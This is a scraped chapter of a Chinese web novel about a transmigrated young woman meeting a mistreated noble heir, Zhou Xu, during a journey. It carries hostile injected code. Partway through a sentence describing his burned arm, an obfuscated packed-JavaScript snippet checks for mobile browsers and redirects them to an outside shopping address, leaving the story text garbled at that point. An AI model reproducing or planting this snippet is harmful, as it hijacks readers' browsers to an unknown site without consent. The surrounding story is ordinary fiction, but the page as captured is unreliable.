默认冷灰
24号文字
方正启体

3. 无依少年 形单影只

作者:花大壮本书字数:K更新时间:
    她还在发怔,几个麻衣小厮不耐烦的往客栈走,与江媛擦肩而过时,听见那几个人嘴巴极不干净的吐槽着:


    “说的好听侯府嫡子风光的很,真真是狗都不如,都快去玩泥巴了,还端架子呢!”


    “那身衣服也不知洗了多少回,谁看不出都旧的起毛了,死要面子活受罪,以前在侯府,下人还尊一声大公子的,马上到了庄子上,山高皇帝远的,有没有命回来都不知晓。”


    一个年轻的听出话音不对,小声问道:“啥意思啊,难道大夫人......”


    “嘘,少问些吧,大夫人的意思你难道还看不出来嘛,这是要把人提远了......”


    年长一点的神秘兮兮的朝他做着抹脖子的动作,那意思也是很明显了。


    “不至于吧,老侯爷,侯爷不管嘛!”


    “说的轻巧,怎么管,老侯爷在塞外驻军,家里亲孙子就算饿死了,他也不知道啊,还有咱们侯爷,成天也不往大少爷院子里去,后院的事都是大夫人在管,那还不是想让侯爷看见什么就看见什么,侯爷只知道大公子被继母养着,怎么养的,哪个下人敢在他面前多嘴。”


    “这高门大院的,里面都臭成茅坑了,别人看着还以为多光鲜呢!”


    “啧,啧......”


    江媛也算听了个大概,在看向那蓝衣少年时,不免眼神多了分同情。


    她正看着,发现少年打眼望她。


    她礼貌一笑,可蓝衣少年眼神微冷,漠然的将头一偏。


    就连他身旁的小厮也刻意的剜了她一眼,一脸的讨厌,毫不掩藏。


    她很郁闷,她干嘛啦!


    不过她的郁闷很快就被李嬷嬷响亮的一耳光抽的烟消云散。


    “啪~”


    刚刚还在嚼舌根的下人,脸上瞬间五条黄瓜,那巴掌声,好脆!


    “多嘴的奴才,主子的事也是你们能嚼舌根的,好好洗洗你们的嘴巴去,臭的能招苍蝇了。”


    那几个小厮自是不服,恶狠狠的回盯着想发作,但打眼细瞧,李嬷嬷穿着柘黄如意纹锦锻薄衣,发上挽着白玉飞鸟簪子,心下范怵,生怕不小心造次得罪了哪家夫人。


    他们气焰瞬间软了,也有不想白白挨一巴掌的,挺挺腰杆:“你是哪里的,敢打平南侯府的人,我们大公子可还在呢!”


    江媛白了他们一眼,狗仗人势的东西,刚刚还被他们说的一文不值的大公子,现在知道拿人家名号出来撑腰了。


    等等!他说哪儿!


    平南侯府的大公子,那不正是......她的小祖宗,大宝贝,男主角嘛。


    那个湖蓝色长袍的帅气少年就是......


    周序!


    她的情绪很快从同情别人,变成同情自己。


    她又瞄了一眼少年,史书里那特意强调貌美的那一笔,果真是有原因的。


    不是啊,现在的重点不是貌美啊,现在的重点是,是什么啊!


    “我是哪家的,我是京州卫指挥使江夫人的一等贴身嬷嬷,户部侍郎江公子的奶母,谁有不服气,去屋里找我主子告状去,滚!”


    李嬷嬷真酷,令她想起了尔康。


    几个小厮瞬间吓的不敢说话了。


    大庸近年来受吐蕃人纷扰,皇帝倚仗武官,是以手里有兵权的,都压着同级文官一头,如今财政又是国家之重,老鼠偷她江家都要给三分薄面。


    她原本还在看热闹,现下热闹变成了自己,马车上的小灯笼,贴着明晃晃的“周”字,她刚刚是瞎了没看见嘛。


    如果她能早点看见,她一定连滚带爬到马车之下,自己做个人凳,让她亲爱的大宝贝脚底不沾半分灰尘,然后嘘寒问暖,帮他捂手洗脚,早日回去实现财富自由。


    她能吗?


    她能!


    江媛鼓足勇气上前:


    “周*******”


    挖,擦!


    为什么她嘴巴在动,但是听不见自己说话啊,她叽里哇啦一通,瞬间反应过来,谁特,么帮她消音啦!


    接着,脑海里的微波炉“叮”的炸开。


    系统:【温馨提示:主角好感度检测为0,与主角的对话权限将在检测到分值后,正式开放,在此之前,您的对话将被静音,尽请期待。】


    刚吐出的“周”字,让迎面而来的周序看了她一眼,见她半天不说话,以为她又在厌弃自己,低着头往客栈走。


    还好嬷嬷拦住了他,软声道:“序哥儿,你云姨许久不见你,想请你去坐坐,上次你去府上,她赶巧去烧香,还未来得及见见你,你就先走了。”


    周序面无表情,瞥了一旁紧闭双唇的江媛,客气还礼道:“不了,还请告知江夫人,周序上次已经惹的媛姐姐气病过去,怎好再恬不知耻,上赶着惹人不悦呢!”


    江媛无语,点谁呢,果真是睚疵必报的小心眼。


    李嬷嬷在一旁朝她使眼色,她瞧见了,但是没办法啊,她被静音了,很是爱莫能助啊。


    不过,系统说了不能喝主角对话,那她可以和旁人说啊,江媛沾沾自喜暗幸找到了系统bug,她朝李嬷嬷道:


    “李妈妈,母亲出发前特意去酥记铺子打包了一斤火腿桃酥,还托人去药铺买了抓了好些干菊花,一路上也不给我吃,留给谁的啊。”


    李嬷嬷秒懂接话:“你哪里来的大脸能吃,那是夫人知道序哥儿爱吃,留着的呢!”


    她俏皮的朝李嬷嬷眨眨眼:“那我先上去和母亲只会一声,说贵客来了。”


    说罢,她提着裙往里跑,冲上二楼最里面的雅间,推门道:“母亲,周序来了。”


    江夫人坐在窗边正煮水泡茶,打趣道:“你这丫头,上次嫌弃他的也是你,这次高兴的也是你,真不知道你这性子传了谁。”


    “当然是传了我那国色天香的亲娘啊!”江媛挨过去想撒娇。


    江夫人:“我怎么觉得,你病好了,性子也变了些。”


    “没有啦,身体好些,心境自然跟着好了。”


    江媛不经意揭过,虽然原本的江小姐不在了,但是她来了,就好好替原主孝敬陪伴江夫人吧。


    话间,周序在门口道:“云姨,执言进来了。”


    “快进来。”江夫人忙放下手中茶具,出来迎接。


    雅间的窗台处打了离地约十公分的榻榻米,塌上置了一个楠木矮几,几子上摆放了各氏点心和新沏的花茶。


    “洛洛,去柜子把桃酥拿出来。”


    “序哥儿,快来坐,让云姨好好看看你。”


    江夫人伸手就去拉,冷不防周序“嘶”的一声,江夫人慌忙松手,立马意识到不对劲,不顾周序的躲藏,拉过他手就撸起袖子。


    果然,手腕到中臂一大片皮肤鲜红肿胀,上面还遍布密密麻麻的水泡,水泡鼓鼓囊囊灌着黄水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055017|194857||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,周遭的肌理似乎已经僵硬坏死。


    还有几处破掉的水泡,因没及时得到治疗,已经溃烂化脓。


    “云姨不知道,我的序哥儿过得这般难,我怕梅姐姐午夜梦回要来责怪我了。”


    江夫人放下他的手,捂着脸瞥向别处,拿着手帕抹泪,不停吸鼻子,良久不敢看眼前的周序。


    后来,江夫人让江媛回去了,他们在屋子里说了什么,她挤在门缝里偷听了好几次都没听见,最后被小满念叨回去睡觉了。


    月照窗檐,江媛定下心才慢慢思虑周序这个人。


    古代侯府嫡子的含金量不肖多说,以后是要袭爵承职的,正一品骠骑将军,未来侯府的主人,就算是他继母都要礼让的,可是周序却没有得到最基本的尊重。


    出生武官家,却走文臣路。


    江媛想过这个人或许才华横溢,轻松上岸,又如她一般运气好才一升在升,却没想过或许是他根本走不了武官路。


    他那恶毒的继母怎么可能眼睁睁看着爵位被一个与她无干的人夺走,毕竟她自己也诞下了一个侯府嫡子。


    一山不容二虎说的大约就是这个道理,只是他面对的老虎还有个母老虎帮忙。


    这一晚,江媛睡的不踏实,作为一个大脑发育成熟的成年人,她已经可以从反派的角度去看问题了。


    她想,如果她没有穿书过来,而是真的死了,江夫人因处理自己的丧事肯定不会去苏州。


    那周序带着发烂的手,还要去田庄从早到晚的干农活,一个十四岁无依无靠的孩子,不仅受天田庄上的地头蛇刁难,还要分出精神以防继母的黑手。


    他那段时期活的该多艰难啊,若不握权自保,怕早就是白骨一堆了。


    不知道江夫人和周序说了什么,接下来的一路周序都在江夫人的马车里,二人不时谈笑。


    但几乎都是她母亲再说,周序更多是听着,休息的时候,她也坐的远远的,瞧瞧打量安静听话点周序。


    纵使旧衣素冠,他往那里一坐就是一颗小松,气质清兰。


    尤其是他垂眸时,少年的眼神还没污上谋算,坚毅而又谦逊,一点看不出来,这样皎皎君子会杀父弑母,谋权篡国。


    马车先到了周家庄,周序朝江夫人等众行礼告别,江夫人红着眼欲言又止,在周序转身的时候一把拉住他哽咽:


    “你若还当我是你云姨,我说的话就要好好听,你那狼心狗肺的父母亲不分黑白要罚你,你做做样子就算了,不可较真,你既不愿跟我回苏家,那我便让洛洛常来看看你。”


    周序:“田庄湿躁,乡人粗鲁,江小姐娇贵,还是不要......”


    江夫人忙推她一下:“这孩子病了这些年,就该多出来走走,快说,你愿不愿意替母亲跑跑腿,时常送些东西来。”


    江媛被一推,发觉周序看着她,这样刷好感的机会,就算不能说话,也要创造好印象好嘛!


    她立马小鸡啄米点点头。


    她朝小满使使眼色,小满立马get她的意思,拿出一小瓶药:“这是我们小姐送给序公子的,想着夫人已经给公子用过药了,便寻了个清凉的养肤粉,待公子伤好大半后涂抹,疤痕会减轻很多。”


    周序躬身,神色淡定:“江小姐有心。”他身边小厮临轩接了过去。


    江媛在马车上撩开帘子,看一眼还在原地发呆的少年背影,心里泛起涟漪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)